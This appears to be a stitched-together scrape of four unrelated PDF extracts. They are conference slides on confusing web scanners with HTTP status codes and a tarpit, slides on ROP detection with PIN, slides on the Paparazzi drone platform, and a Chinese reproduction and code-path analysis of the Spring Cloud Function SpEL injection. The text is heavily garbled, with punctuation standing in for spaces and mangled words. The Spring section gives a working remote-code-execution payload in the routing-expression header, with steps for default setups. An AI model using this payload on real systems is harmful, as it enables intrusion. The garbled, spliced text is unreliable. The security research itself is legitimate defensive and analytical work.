302!Found!(Moved!Temporarily)! !  303!See!Other! !  304!Not!Modified! 3XX!Redireceon!(cont.)! !  305!Use!Proxy! !  306!Switch!Proxy!(unused)! !  307!Temporary!Redirect! Codes!not!supported!by!Apache! !  308!Permanent!Redirect! 4XX!Client!Error! !  Client!caused!an!error! !  400!Bad!Request! !  401!Unauthorized! !  402!Payment!Required! !  403!Forbidden! !  404!Not!Found! !  405!Method!Not!Allowed! 4XX!Client!Error!(cont.)! !  406!Not!Accessible! !  407!Proxy!Authenecaeon!Required! !  408!Request!Timeout! !  409!Conflict! !  410!Gone! !  411!Length!Required! 4XX!Client!Error!(cont.)! !  412!Precondieon!Failed! !  413!Request!Enety!Too!Large! !  414!Request_URI!Too!Long! !  415!Unsupported!Media!Type! !  416!Request!Range!Not!Saesfiable! !  417!Expectaeon!Failed! !  418!I’m!a!Teapot!(IETF!April!Fools!RFC!2324)! 4XX!Client!Error!(cont.)! !  419!/!420!/!421!Unused! !  422!Unprocessable!Enety!(RFC!4918)! !  423!Locked!(RFC!4918)! !  424!Failed!Dependency!(RFC!4918)! !  425!No!Code!/!Unordered!Colleceon! !  426!Upgrade!Required!(RFC!2817)! 4XX!Client!Error!(cont.)! Codes!not!supported!by!Apache! !  428!Precondieon!Required! !  429!Too!Many!Requests! !  431!Request!Header!Fields!Too!Large! !  444!No!Response!(NGINX)! !  449!Retry!With!(Microsoo)! !  450!Blocked!by!Win.!Parental!Controls! !  451!Unavailable!For!Legal!Reasons! !  494!Request!Header!Too!Large!(NGINX)! !  495!Cert!Error!(NGINX)! !  496!No!Cert!(NGINX)! !  497!HTTP!to!HTTPS!(NGINX)! !  499!Client!Closed!Request!(NGINX)! 5XX!Server!Error! !  Server!error!occurred! !  500!Internal!Server!Error! !  501!Not!Implemented! !  502!Bad!Gateway! !  503!Service!Unavailable! !  504!Gateway!Timeout! !  505!HTTP!Version!Not!supported! 5XX!Server!Error!(cont.)! !  506!Variant!Also!Negoeates!(RFC!2295)! !  507!Insufficient!Storage!(WebDAV!RFC!4918)! !  508!Loop!Detected!(WebDAV!RFC!5842)! !  509!Bandwidth!Limit!Exceeded!(apache!ext.)!! !  510!Not!Extended!(RFC!2274)! Codes!not!supported!by!Apache! !  511!Network!Authenecaeon!Required!(RFC!6585)! !  550!Permission!Denied! !  598!Network!Read!Timeout!Error!(Microsoo!Proxy)! !  599!Network!Conneceon!Timeout!Error!(Microsoo!Proxy)! OMG!Enough!with! the!numb3rs! already!!!!' #2& ]! [!WHY ? It!started!as!a!simple!idea…! ?! ?! ?! …!and!started!to!think! SCREW!WITH! SCANNERS! …!AND!SCRIPT! K1DD13S! THAT!SOUNDS! LIKE!FUN!' @thegrugq)26)Feb)2013) @thegrugq)26)Feb)2013) INCREASE! ATTACKER!COSTS! $! $! $! WASTE! ATTACKER!TIME! _  When!the!tables!turn!(2004)!! _  Roelof'Temmingh,'Haroon'Meer,'Charl'van'der'Walt' _  h]p://slideshare.net/sensepost/strikeback! _  Stopping!Automated!A]ack!Tools!(2006)! _  Gunter'Ollmann' _  h]p://www.technicalinfo.net/papers/ StoppingAutomatedA]ackTools.html!! Prior!Art! _  mod_security!mailing!list!(2006)!! _  Status!Code!503!together!w/!Retry_Aoer!header! _  Ryan'BarneW' _  h]p://bb10.com/apache_mod_security_user/ 2006_12/msg00042.html! Prior!Art! SecFilterDefaultAceon!"deny,log,status:503"! SecFilter!".*"! Header!set!Retry_Aoer!"120"! #3& ]! [!HOW ? BROWSERS!HAVE! TO!BE!FLEXIBLE! THIS!LEADS!TO! INTERPRETATION! …!which'leads'to'the'darkXside' RFCS…! ! THEY’RE!MORE!OF!A! GUIDELINE!REALLY! WHAT COULD POSSIBLY GO WRONG! TESTING! THE!HOW!OF!THE!THING!! #3.1& !  Restricted!research!to!the!big!3! !  Internet!Explorer! !  Chrome!/!Chromium! !  Firefox! NO…!SAFARI!ISN’T! IN!THE!TOP!10!3! OPERA!JUMPED…! …or'was'it'pushed?' LYNX! THE!UNREALISTIC!OPTION! !  MITMproxy!/!MITMdump! !  Python_based! !  Simple!to!setup!proxy!/!reverse!proxy! !  Script_based!aceons! !  PHP! !  Ability!to!set!response!code! !  Must!be!at!the!top!of!the!PHP!code! !  Can!be!added!to!php.ini! !  auto_prepend_file!=!/full/path! !  Limited!by!web_server!(apache)! #!set!response!code! Header($_server[“SERVER_PROTOCOL”].!”!$status_code”);! !  Teseng!browsers!automaecally! !  Created!PHP!file!to!set!status!code! !  h]p://c22.cc/POC/respcode.php?code=XXX' BROWSERS! …!AND!THEIR!STATUS!CODE!HABITS! #3.2& Miss Browsers!handle! most!things!just!like! they!handle!a! 200&OK?! YEP…! MOSTLY' !  HTML!Responses! !  Almost!all!response!codes!are!rendered! by!the!browser!correctly! !  iFrames! !  Some!special!cases!for!IE,!but!other! browsers!handle!this!the!same!as!HTML! ! !  JavaScript/CSS! !  Limited!accepted!status!codes! !  Limited!3XX!support! !  Chrome!is!the!excepeon!here! !  No!support!for!4XX/5XX!codes! So!we!know! what!browsers! interpret! differently' What!do! browsers!have! in!common?! !  1XX!code!handling! !  Retries! !  Confusion! !  Chrome!/!IE6!try!to!download!the!page!! !  Fun!on!Android…!(never!ending!download)! !  Times!outs!(eventually)! !  204!No!Content! !  Um,!no!content!! !  304!Not!Modified! !  Again,!no!content!returned! WHAT!ABOUT! HEADERS?! #3.3& Just!because!the!RFC!says! a!specific!status!code! must!have!an!associated! header…! …doesn’t!mean! it!HAS!to! !  Redireceon!codes!(301_304,!307)! !  No!Locaeon!header,!no!redirect! !  401!Unauthorized! !  No!WWW_Authenecate!header,!no! authenecaeon!prompt! !  407!Proxy!Authenecaeon!Required! !  No!Proxy_Authenecate!header,!no!prompt! Just!because!the!RFC!says! a!specific!status!code! shouldn’t!have!an! associated!header…! ! …doesn’t!mean! it!can’t! !  300!Muleple!Choices!w/!Locaeon!Header! !  Firefox!/&IE6!follows!the!redirect! !  Chrome!doesn’t! !  More!research!needed!in!this!direceon! !  Most!headers!are!unintereseng!/&ignored! EACH!BROWSER! HANDLES!THINGS!A! LITTLE!DIFFERENTLY! I!WONDER!WHAT! WE!CAN!DO! WITH!THAT!! #4& ]! [!GOALS !  Each!browser!handles!things!differently! !  Use!known!condieons! !  Handled!codes! !  Unhandled!codes! !  Browser!weirdness! BROWSER! FINGERPRINTING! #4.1& !  Doesn’t!load!JavaScript!returned!with!a!300! ‘Muleple!Choices’!status!code! !  Other!browsers!tested!DO!(IE/Chrome)! ! !  Request!JavaScript!from!server! !  Response!Status:!300!Muleple!Choices! !  If!JavaScript!doesn’t!run!in!the!browser! !  Firefox! Firefox! !  Loads!JavaScript!returned!with!a!307! ‘Temporary!Redirect’!status!code! !  Other!browsers!tested!DON’T!(IE/FF)! !  Request!JavaScript!from!server! !  Response!Status:!307!Temporary!Redirect! !  If!JavaScript!runs!in!the!browser! !  Chrome! Chrome!! !  Loads!JavaScript!returned!with!a!205!‘Reset! Content’!status!code! !  Other!browsers!tested!DON’T!(FF/Chrome)! !  Request!JavaScript!from!server! !  Response!Status:!205!Reset!Content! !  If!JavaScript!runs!in!the!browser! !  Internet!Explorer! Internet!Explorer !! BROWSER! FINGERPRINTING! DEMO! !  Other!opeons!to!fingerprint!browsers! !  300!Redirect!(Chrome)! !  305!/&306!JavaScript!(Firefox)! !  400!iFrame!(Internet!Explorer)! !  …' ' POC!Script!"!h]p://c22.cc/POC/fingerprint.html! USER_AGENTS! CAN!BE! SPOOFED! BROWSER! TRAITS!CAN’T' PROXY! DETECTION! #4.2& !  Chrome!handles!proxy!config!differently! !  407!status!code!isn’t!rendered!! !  Unless!an!HTTP!proxy!is!set!! !  Allows!us!to!detect!if!an!HTTP!proxy!is!set! !  Just!not!which!proxy! !  Can!only!detect!HTTP!proxies!;(! Chrome!Proxy!Deteceon! !  Request!page!from!server! !  Response!Status:!407!Proxy!Authenecaeon! !  w/o!Proxy_Authenecate!header! !  If!Chrome!responds!HTTP!proxy!is!set! Chrome!Proxy!Deteceon! !  Privoxy!3.0.20!(CVE_2013_2503)! !  407!Proxy!Authenecaeon!Required! !  w/!Proxy_Authenecate!header! !  User!prompted!for!user/pass! !  Prompt!appears!to!be!from!Privoxy! !  Privoxy!passes!user/pass!to!remote!site! !  Profit???! Side_Effect:!Owning!Proxies! !  Not!just!Privoxy!that’s!effected! !  Any!transparent!proxy! !  e.g.!Burp,!ZAP,!…! !  Not!really!a!vuln!for!most! !  Works!as!designed!! Side_Effect:!Owning!Proxies! #5& ]! [! BRINGINGITALL TO GETHER What!we!have! !  Status!codes!all!browsers!treat!as!content! !  Status!codes!all!browsers!can’t!handle! !  1XX,!etc..! !  Lots!of!browser!quirks! What!can!we!do! !  F*ck!with!things! !  Screw!with!scanner!monkeys! !  Make!RFC!lovers!cry!into!their!beer! !  Break!things!in!general! Let’s!try!to…! !  Use!what!we’ve!discovered!to…! !  Break!spidering!tools! !  Cause!false!posieves!/!negaeves! !  Slow!down!a]ackers! !  The!fun!way!! !  Blocking!successful!exploitaeon! BREAKING! SPIDERS! #5.1& Simplisec!view! of!spiders! !  Access!target!URL! !  Read!links!/!funceons! !  Test!them!out! !  If!true:!conenue! !  What!is!TRUE?! !  What!happens!if:! !  Every!response!is! !  200!OK! !  404!Not!Found! !  500!Internal!Server!Error! 200!OK! !  IF!200!==!True:! !  Problems!! !  Never_ending!spider! 404!Not!Found! !  IF!404!==!False:! !  What!website?! 500!Internal!Server!Error! !  Skipfish!!=!happy!fish! False! Posieves!/ Negaeves! #5.2& !  Most!scanners!use!status!codes! !  At!least!to!some!extent! !  Inieal!match!(prior!to!more!costly!regex)! !  Speed!up!deteceon! !  Easy!solueon! !  What!happens!if:! !  Every!response!is! !  200!OK! !  404!Not!Found! !  500!Internal!Server!Error! !  raNd0M*! *!Using!codes!that!are!accepted!by!all!browsers!as!content!! Vulnerability!Baseline! !  w3af! !  Informaeon!Points!"!79! !  Vulnerabiliees!"!65! !  Shells!"!0!shells!#! !  Scan!eme!"!1h37m23s! Every!response!200!OK! !  No!change!in!discoveries! !  All!points!discovered!_!per!baseline! !  79!Informaeon!Points! !  65!Vulnerabiliees! !  0!Shells! !  Scan!eme!"!9h56m55s! !  Lots!more!to!check!;)! Every!response!404!Not!Found! !  Less!to!scan!==!Less!to!find! !  False!negaeves! !  44!Informaeon!Points!(_35)! !  37!Vulnerabiliees!(_28)!! !  Scan!eme!"!7m13s! !  Much!quicker!scan! !  Less!paths!traversed! Every!response!500! !  Server!Error!==!OMG!VULN!SANDWICH!& !  False!posieves+++& !  9540!Informaeon!points!(+9461)! !  9526!Vulnerabiliees!(+9461)!! Random!Status!Codes! !  Muleple!test!runs! !  All!tests!produced!False!posieves++& !  avg.!619!Informaeon!points!(+540)! !  avg.!550!Vulnerabiliees!(+485)!! !  Avg.!scan!eme!"!11m37s! !  Ooen!much!quicker!scans! !  Lots!of!variaeon!in!scan!emes! Random!Status!Codes! !  Skipfish!+!$random_status!=!chaos! !  False!Posieves!+!False!Negaeves! !  Scan!jobs!killed!(due!to!lack!of!scanner!resources)! !  Scan!emes! !  1st!scan!eme!"!10h3m35s! !  2nd!scan!eme!"!0h0m4s! !  3rd!scan!eme!"!16h47m41s! Slowing! a]ackers! down!! #5.3& What!does! your!WAF! really!do?! !  OMG!A]ack! !  Block!/!Return!error! !  403,!500,!…! !  Profit???! Why?! Remember!that!list! of!status!codes! browsers!don’t! handle!well?! Yeah!well,!scanners! don’t!usually!handle! them!well!either!! Especially!the! 1XX!codes! !  Remember!LaBrea!tarpit?! !  Tim!Liston!2001!*! !  Designed!to!slow!spread!of!Code!Red! !  Slows!down!scans!/!a]ackers! *!h]p://labrea.sourceforge.net! How!about!an! HTTP!Tarpit!! HTTP!Tarpit!Scenario! !  WAF!detects!scan!/!a]ack! !  Adds!source!IP!to!“naughty”!list! !  Rewrite!all!responses!from!the!server! !  100|101|102!status!codes!only!(random)! !  204|304!might!also!be!useful!(no!content)! Let’s!do! some! science!*! *!Science!not!included! vs.!the!HTTP!TARPIT! NIKTO! Baseline& HTTP&Tarpit& Scan!eme! 2m!18s! Findings! 18! 14h!33m!2s! 10! vs.!the!HTTP!TARPIT! W3AF! Baseline& HTTP&Tarpit& Scan!eme! 1h!37m!23s! Findings! 65! 18m!10s! 0! vs.!the!HTTP!TARPIT! SKIPFISH! Baseline& HTTP&Tarpit& Scan!eme! 18m!10s! Findings! Low:!2519! Med:!2522! High:!12! Low:! Med:!! High:! 05s! 0! 0! 3! vs.!the!HTTP!TARPIT! ACUNETIX! Baseline& HTTP&Tarpit& Scan!eme! 1h!19m! Findings! Info:!1104! Low:!30! Med:!32! High:!24! Info:! Low:! Med:!! High:! 33m! 3! 3! 1! 0! HTTP!Tarpit!Results! !  HTTP!Tarpit!Results!*! !  Slow!down!scans! !  Nikto:!340x!as!long! !  Others!give!up!quicker!;)! !  Unreliable!/!aborted!scans! !  Up!to!100%!less!findings! *!Not!scienefically!sound!;)! Blocking! successful! exploitae0n! #5.4& We’ve!made!it! hard!to!find!the! vulnerabiliees! We’ve!made!it! Ome'consuming! for!a]ackers! Now!let’s!stop!the! sk1dd13s!using! Metasploit!to!pop! $hells! Q:!How!ooen!does!Metasploit!reference! status!codes?! ) )rgrep)2E)'res[p|ponse]?\.code')*) "!958!*! *!Not!scienefically!sound!;)! rgrep)2E)'res[p|ponse]?\.code')*) Lots!of! dependency!on! status!codes*! *!yep,!even!the!stuff!I!wrote! ) )if)(res.code)<)200)or)res.code)>=)300)) ) ) )case)res.code) ) ) )when)401) ) ) ) )print_warning("Warning:)The)web)site) ) ) ) )asked)for)authentication:)#{res.headers) ) ) ) )['WWW2Authenticate'])||)res.headers )) ) ) ) )['Authentication']}")) ) ) )end) ) ) )fail_with(Exploit::Failure::Unknown,) ) ) )"Upload)failed)on)#{path_tmp}) ) ) )[#{res.code})#{res.message}]")) ) )end) No!match,! No!shell*' *!exploit!dependent! #6& ]! [!RE VIEW !  Using!status!codes!to!our!benefit!is!fun! !  …!and!useful!! !  Browsers!can!be!quirky! !  Scanners!/!a]ack!toolkits!are!someemes! set!in!their!ways! !  Take!the!easy!route! !  Easy!to!fool! !  WAFs!need!to!get!more!offensive!about! their!defense! !  More!than!just!blocking!a!request! !  Even!if!you!use!a!snazzy!message! !  Hacking!back!is!bad! !  Slowing!down!known!a]acks!is!good! !  Make!life!harder!for!skiddies!is!pricele$$! !  Current!tools!are!much!the!same!as!APT! !  APT!(Adequate!Persistent!Threat)! !  Only!as!advanced!as!they!NEED!to!be! …because!screwing! with!sk1dd13s! is!fun!! Implementaeon! #6.1& !  PHP!(the!lowest!common!denominator)! !  auto_prepend_file! !  Limited!to!resources!PHP!handles! !  MITMdump! !  MITMproxy!==!memory!hog! !  Reverse!proxy!mode! Ghe]o!Implementaeon! !  Usable!implementaeon! !  Nginx!as!reverse!proxy! !  Requires:!ngx_lua! !  ngx.status!=!XXX! !  Bugs!in!non_git!version! !  203,!305,!306,!414,!505,!506!return!nil' h]ps://github.com/ChrisJohnRiley/Random_Code/blob/master/nginx/nginx.conf! ! !  Ease!adopeon! !  Implement!into!mod_security! !  Not!a!simple!task! !  Already!been!discussed!many!emes! !  Help!wanted!;)! Countering! this!research! #6.2& !  Less!reliance!on!status!codes! !  More!reliance!on!content!/!headers! !  Pros !! !  Be]er!matching!/!intelligence! !  Cons! !  Slower?!(regex!matching)! !  More!resource!intensive! Queseons?! ! CODE!/!SCRIPTS!AVAILABLE! ! HTTP://GITHUB.COM/CHRISJOHNRILEY/RANDOM_CODE! Thanks!for!coming! ! h]p://blog.c22.cc! @[email protected]!
pdf
Who’s&this…&guy& • 10&years&on&the&defensive&side& • File&analysis&&&RE& • Recently&doing&research&using&Machine& Learning& Level&Se?ng& • &ROP& • Technique&to&bypass&nonFexecutable&memory& • Bounce&around&in&memory&execuJng&small& gadgets&that&typically&end&with&a&return& instrucJon& • PIN& • Pin&is&a&dynamic&binary&instrumentaJon& framework&for&the&x86&and&x86F64& • Does&not&require&recompiling&of&source&&&&&&&&&&&& code&and&can&support&instrumenJng&&&&&&&&&& programs&that&dynamically&generate&code& Basic&Idea& • A&whitelist&for&offsets&that&can&be&a&&&&&&&&&&&& target&of&indirect&branch&or&ret& • We&know&valid&targets&for&calls&and&rets& • FuncJons& • InstrucJons&aUer&call&instrucJon& • If&an&indirect&call&or&a&ret&goes&to&a&&&&&&&&&&&&&&&&&&&&&&&& different&locaJon,&then&ROP& • Store&the&offset&to&these&locaJons& How&Do&We&Get&Those?& • BranchTargetDetector&pintool& • When&DLL&is&loaded,&exported&funcJons&are& analyzed& • All&calls&and&returns&are&instrumented&&&&&&&&&&&&& as&well& • Great&because&we&get&actual&values& • Not&so&great&because&you&only&get&&&&&&&&&&&& values&from&funcJons&pin&can&detect&&&&&&&&&&&& and&what&it&actually&executes& BranchTargetDetector& • Pros& • We&get&real,&actual&used&values& • Cons& • Not&the&fastest&thing& • Only&get&values&from&funcJons&pin&can&&&&&&&&&&& detect&and&what&it&actually&executes& • If&DLL&isn’t&loaded,&you&don’t&get&data&&&&&&&&&&&&&&&&&&& for&it& How&Else&Can&We&Get&Those?& • pyew& • Much&be\er&at&detecJng&funcJons& • Can&bulk&run&all&DLLs& Have&Data,&Now&What?& • Store&offsets&in&file&by&md5&hash&of&dll& • Allows&for&handling&of&different&versions&of&the& same&dll& ROPDetector& • When&a&DLL&is&loaded,&load&the&white&list&for& that&DLL& • Instrument&all&indirect&calls&and&RETs&and&alert& when&target&is&not&on&the&white&list& Example&1& • Adobe&Reader&9.3&on&Windows&XP& • 32dbd816b0b08878bd332eee299bbec4& • CVEF2010F2883& • StackFbased&buffer&overflow&in&CoolType.dll& DetecJon!& C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll 0x4a80cb3f: ret Target: 0x4a82a714 (0x2a714) & Yay?& • We&detected&one&of&the&ROP&chains& • Only&1& Let’s&Take&A&Look& Let’s&Take&A&Look& Let’s&Take&A&Look& Let’s&Take&A&Look& Why&Only&One?& ● Dies&on&stack&pivot& ● Pin&affects&memory&layout& ● (run&everything&in&pin?)& & How&Would&We&Have&Done?& • 45&chains&in&ROP&sequence& • Only&14&unique&addresses& • 2&indirect&calls,&43&returns& • 3&of&the&14&addresses&on&whitelist& • Each&address&only&called&once& • 42&of&45&chains&would&be&detected& & Example&2& • Adobe&Reader&9.5&on&Windows&XP& • 6776bda19a3a8ed4c2870c34279dbaa9& • CVEF2013F3346& • ToolBu\on&Use&AUer&Free& Example&2&Results& • Nothing,&just&Adobe&crashing& • Pin&messed&up&memory&layout&again& The&Neighborhood&Of&Make&Believe& • 208&chains&in&ROP&sequence& • Dominated&by&191&chain&sled& • Only&15&unique&addresses& • All&returns& • 3&of&the&15&addresses&on&whitelist& • 204&of&208&chains&would&be&detected& A&Li\le&Math& • Probability&of&detecJng&at&least&one&address& (assuming&11/14&detecJons&is&average)& & Unique Addresses Probability of Detection 1 78.6% 2 95.4% 3 99.0% 4 99.8% 5 99.96% 10 99.999980% A&Li\le&More&Math&&& • Probability&of&detecJng&at&least&one&address& (assuming&50%&detecJon&rate)& & Unique Addresses Probability of Detection 1 50.0% 2 75.0% 3 87.5% 4 93.8% 5 96.9% 10 99.9% LimitaJons& • Pin& • Breaks&on&stack&pivot& • Slow& • Doesn’t&handle&Jump&Oriented&&&&&& Programming&(JOP)& Possible&Improvements& • Smarter&instrumentaJon& • Push&analysis&into&a&different&thread& • Figure&out&heap&problem& • Check&for&JOP& Smarter&Ways& • Debugger?& • Detours?& • Monitor&Last&Branch&MSRs?& • kbouncer& Thanks!& •  h\ps://github.com/trogdorsey/rop& •  h\ps://soUware.intel.com/enFus/arJcles/pinFaFdynamicFbinaryF instrumentaJonFtool& •  h\ps://code.google.com/p/pyew/& •  h\p://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf&
pdf
The Paparazzi Platform Flexible, Open-Source, UAS Software and Hardware esden, dotAero, misterj, cifo Outline ● History, User Community, Competitions & Missions ● Software ● Hardware ● Example Vehicles ● Demos Who are we? Who is Paparazzi? Micro unmanned aerial vehicle framework http://paparazzi.enac.fr Why do I care? We're not going to preach the advantages of autonomous or RC vehicles - you know this already. Paparazzi: - Innovative - Competitive - Hugely flexible "Many start Paparazzi as UAV hobbyists and leave as professionals!" History The journey started in 2003 Pascal Brisset & Antoine Drouin History Ecole Nationale de l’Aviation Civile Toulouse, France History Over 60 developers contributing code several hundred users from 18 countries and counting Involved Universities Competitions ● JMD03, Toulouse, France : 1st place with the Twinstar ● EMAV04, Braunschweig, Germany : 1st place with the Microjet ● JMD04, Toulouse, France : 1st place with the Microjet ● MAV05, Garmisch, Germany : 4 Paparazzi teams at the first 4 places ● EMAV06, Braunschweig, Germany : all the teams were equipped with Paparazzi ● MAV06, Sandestin, Florida : 2nd and 3rd places ● MAV07, Toulouse, France : 1st place (tie), 3rd, 4th and 5th places ● OC09, Queensland, Australia : 1st place robot airborne delivery challenge ● IMAV2011, Harde, Netherlands : 2nd place outdoor challenge ● DARPA UAVForge 2011-12 : 3rd place Missions 2011 Antarctica Finnish Meteorological Institute Missions 2012 Southern Madagascar multi university Software - Overview ● Airborne and Ground Segments ● Reconfigurable multi-agent system, small programs perform simple tasks Software - Overview Software - Ground Segment Software - Ground Segment Reconfigurable UI (XML) Software - Airborne Segment ● Modules allow easy addition or replacement of functionality ● Supports a multitude of sensors and actuators ● XML-based automatic code generation allows quick code adaptation for different vehicle configurations Software - Airborne Segment ● Complementary and Kalman filter-based estimators ● PID, PID with FF and adaptive controllers for attitude, altitude and position control Software - License http://paparazzi.github.com Software - Demo ● Flight in simulator ● Pray to Demo Gods Hardware - Overview Classix ARM7 Tiny ARM7 Umarim ARM7 Lisa/L ARM Cortex-M3 ARM Cortex-A8 Lisa/M ARM Cortex-M3 Booz ARM7 ● Atmega 8MHz (Dropped 2010) ● 7 TDMI 60MHz (Stable) ● -M3 72MHz (Stable) ● -M4 168MHz+DSP (Upcoming) Hardware - Architectures IR Sensor Booz IMU Aspirin IMU Sparkfun IMU Polulu IMU Cloudcap IMU VectorNav IMU XSens IMU Developed by the Paparazzi Community OSHW Third party hardware Hardware - Sensors Hardware - System Example Hardware - License BY SA Hardware - Example Vehicles Fixed Wing Dragon Slayer Miraterre Flight Systems UMARS zhaw Zürich Switzerland Perching Airplane BDML Stanford CA US Hardware - Example Vehicles Multirotor/Rotorcraft Quady Transition Robotics Variable-Pitch Quad Eric Parsonage Booz Hexa V Antoine Drouin Hardware - Example Vehicles Transitioning Aircraft Quadshot Transition Robotics Atmov Atmos TU-Delft Hardware - Demo ● Pray to Lithium-Polymer Gods ● In the front row? ○ Look for a helmet under your seat ○ Just kidding
pdf
0x01 应用简介 Spring Cloud Function 是 SpringBoot 开发的一个 Servless 中间件(FAAS),支持基于 SpEL 的函数 式动态路由。 0x02 漏洞复现 测试版本: 测试环境: 第 1 种利用:需要修改配置 + 任意路由 这种利用方式来自 逐日实验室 @默安 1. 修改配置文件,添加 "spring.cloud.function.definition:functionRouter" 2. 任意路由 # v3.2.0 https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0 1 2 spring-cloud-function-samples/function-sample-pojo 1 application.properties 1 3. 构造 SpEL 注入 payload 4. 测试效果 但是 为了尽可能扩大漏洞的利用价值,能在默认配置下进行利用无疑是我们的首选,于是去啃了会儿官方文 档和相关社区,然后发现一种可在默认配置下进行 RCE 的姿势(暂不确定影响范围)。 已测试版本 第 2 种利用:默认配置 + 特定路由 1. 保持默认配置 2. 特定路由 /aaaa 1 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc") 1 v3.2.0、v3.1.6、v3.0.9 1 application.properties 1 /functionRouter 1 3. 构造 SpEL 注入 payload 4. 测试效果 ps: 为了确保准确性,在该环境测试任意路径 0x03 漏洞分析 补丁分析 spring.cloud.function.routing- expression: T(java.lang.Runtime).getRuntime().exec("calc") 1 由于第1种已经有人分析了 这里只分析第2种场景:默认配置+特定路由 1 2 org.springframework.cloud.function.context.config.RoutingFunction 在此处下断点后获取到调用栈 然后往下跟踪 & 向上回溯 https://github.com/spring-cloud/spring-cloud- function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52 1 org.springframework.cloud.function.context.config.RoutingFunction#route 1 route:125, RoutingFunction (org.springframework.cloud.function.context.config) apply:85, RoutingFunction (org.springframework.cloud.function.context.config) doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog) apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog) processRequest:100, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util) post:74, FunctionController (org.springframework.cloud.function.web.flux) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method) apply:-1, 1875846925 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lamb da$714) onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher) complete:1816, Operators$MonoSubscriber (reactor.core.publisher) signal:251, MonoZip$ZipCoordinator (reactor.core.publisher) onNext:336, MonoZip$ZipInner (reactor.core.publisher) onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber (reactor.core.publisher) onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher) onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher) onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber (reactor.core.publisher) onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber (reactor.core.publisher) complete:1816, Operators$MonoSubscriber (reactor.core.publisher) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 往下跟踪 onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher) onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher) onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher) onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher) onInboundComplete:400, FluxReceive (reactor.netty.channel) onInboundComplete:419, ChannelOperations (reactor.netty.channel) onInboundNext:590, HttpServerOperations (reactor.netty.http.server) channelRead:93, ChannelOperationsHandler (reactor.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:264, HttpTrafficHandler (reactor.netty.http.server) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel) fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec) fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec) callDecode:432, ByteToMessageDecoder (io.netty.handler.codec) channelRead:276, ByteToMessageDecoder (io.netty.handler.codec) channelRead:251, CombinedChannelDuplexHandler (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:919, DefaultChannelPipeline (io.netty.channel) read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) processSelectedKey:719, NioEventLoop (io.netty.channel.nio) processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio) processSelectedKeys:581, NioEventLoop (io.netty.channel.nio) run:493, NioEventLoop (io.netty.channel.nio) run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent) run:74, ThreadExecutorMap$2 (io.netty.util.internal) run:30, FastThreadLocalRunnable (io.netty.util.concurrent) run:745, Thread (java.lang) 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 org.springframework.cloud.function.context.config.RoutingFunction#route 1 跟进 发现熟悉的身影 expression.getValue() 向上回溯 发现关键字 "functionRouter", 不管是第 1 种还是第 2 种利用姿势,都与 functionRouter 有着莫名的联 系。 ...(省略部分调用栈分析) 继续看源码看文档得知,可以通过目录获取对应功能接口的实例 org.springframework.cloud.function.context.config.RoutingFunction#functionFro mExpression 1 org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NA ME 1 跟进 跟进 跟进 /functionRouter 1 org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe r#findFunction 1 org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe r#doFindFunction 1 org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.S tring, java.lang.String...) org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRe gistry#lookup org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doL ookup 1 2 3 至此已经获取到对应实例,经过一些处理后,执行到 是不是些许熟悉? 跟进 跟进 org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe r#processRequest 1 org.springframework.cloud.function.context.config.RoutingFunction#apply 1 经过以下判断后 触发断点,整个漏洞利用的链路被成功串连。 